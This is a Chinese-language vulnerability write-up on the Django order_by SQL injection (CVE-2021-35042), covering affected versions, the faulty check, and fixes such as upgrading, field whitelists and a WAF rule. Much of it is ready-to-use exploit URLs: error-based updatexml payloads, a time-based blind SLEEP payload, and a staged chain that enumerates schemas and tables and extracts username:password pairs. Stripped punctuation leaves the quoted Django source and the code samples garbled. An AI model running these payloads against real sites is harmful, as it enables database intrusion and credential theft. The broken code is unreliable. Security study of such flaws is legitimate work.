Django 3.2.4 order_by SQL注入漏洞深度剖析:从绕过机制到PoC构造
Django 3.2.4 order_by SQL注入漏洞深度剖析从绕过机制到PoC构造1. 漏洞背景与影响范围2021年7月Django安全团队发布紧急更新修复了一个存在于QuerySet.order_by()方法中的SQL注入漏洞CVE-2021-35042。该漏洞影响以下版本Django 3.2.x 3.2.5Django 3.1.x 3.1.13Django 2.2.x 2.2.24漏洞核心特征在于当开发者直接将用户可控参数传递给order_by()方法时攻击者可通过精心构造的输入绕过Django的安全检查机制实现任意SQL语句执行。与常规SQL注入不同该漏洞的特殊性体现在# 危险示例 - 直接使用用户输入 Collection.objects.order_by(request.GET.get(order))2. 漏洞原理深度解析2.1 点号检查逻辑缺陷Django的SQL查询构造机制中order_by()方法最终会调用add_ordering()函数处理排序参数。关键漏洞代码位于django/db/models/sql/query.pydef add_ordering(self, *ordering): for item in ordering: if isinstance(item, str): if . in item: # 漏洞关键点 warnings.warn(Passing column raw column aliases...) continue # 直接跳过后续检查 if item ?: continue # 安全校验逻辑被绕过 self.names_to_path(item.split(LOOKUP_SEP), self.model._meta)当参数包含点号(.)时代码会跳过关键的names_to_path安全校验直接将原始字符串拼接到SQL语句中。这种设计原本是为了兼容旧版API却意外创造了注入突破口。2.2 注入链构造原理攻击者利用该缺陷的典型攻击流程输入验证绕过通过包含点号的参数跳过names_to_path检查SQL语句拼接恶意输入被直接拼接到ORDER BY子句堆叠查询执行利用数据库特性执行多语句查询以下是漏洞触发时的SQL语句变化对比正常输入恶意输入SELECT ... ORDER BY id ASCSELECT ... ORDER BY id); SELECT version(); -- ASC3. 多数据库环境下的PoC构造3.1 MySQL环境利用MySQL的报错注入典型Payload结构/vuln/?ordervuln_collection.id);SELECT updatexml(1,concat(0x7e,(SELECT user())),1)%23关键组件解析vuln_collection.id)合法列名闭合原始查询0x7e~字符的十六进制用于触发XPath格式错误%23URL编码的#号注释后续语句3.2 PostgreSQL环境差异PostgreSQL需要调整语法结构/vuln/?ordervuln_collection.id);SELECT CAST(version() AS TEXT)--主要区别特征使用--代替#作为注释符需要显式类型转换CAST字符串连接使用||而非concat()4. 防御方案与最佳实践4.1 官方修复方案Django通过以下修改修复该漏洞移除点号检查的continue语句强制所有参数通过names_to_path验证引入更严格的字段名白名单机制升级建议pip install Django3.2.54.2 开发防护策略即使升级后仍建议采用以下防御措施输入验证层VALID_ORDER_FIELDS {id, name, created_at} def sanitize_order_param(param): field param.lstrip(-) return param if field in VALID_ORDER_FIELDS else id安全使用范例# 安全用法1 - 白名单校验 safe_order sanitize_order_param(request.GET.get(order)) Collection.objects.order_by(safe_order) # 安全用法2 - 固定排序字段 def get_queryset(self): return super().get_queryset().order_by(created_at)5. 漏洞利用的高级技巧5.1 盲注场景下的利用当目标不显示错误信息时可采用时间盲注技术/vuln/?orderid);SELECT CASE WHEN (SELECT SUBSTRING(version(),1,1)5) THEN SLEEP(5) ELSE 0 END%235.2 多阶段注入技术复杂数据提取的典型流程获取数据库信息/vuln/?orderid);SELECT updatexml(1,concat(0x7e,(SELECT schema_name FROM information_schema.schemata LIMIT 1)),1)%23枚举表结构/vuln/?orderid);SELECT updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schemapublic LIMIT 1)),1)%23数据提取/vuln/?orderid);SELECT updatexml(1,concat(0x7e,(SELECT concat(username,:,password) FROM users LIMIT 1)),1)%236. 企业级防护建议对于无法立即升级的系统建议部署以下防御措施WAF规则示例location /vuln/ { if ($args ~* order_by.*[);]) { return 403; } proxy_pass http://django_app; }数据库层防护使用最小权限账户运行数据库禁用堆叠查询功能启用SQL语句审计在实际项目开发中我们应当始终遵循参数化查询原则将用户输入视为不可信数据。通过结合框架的安全特性和自定义验证逻辑才能构建真正安全的Web应用系统。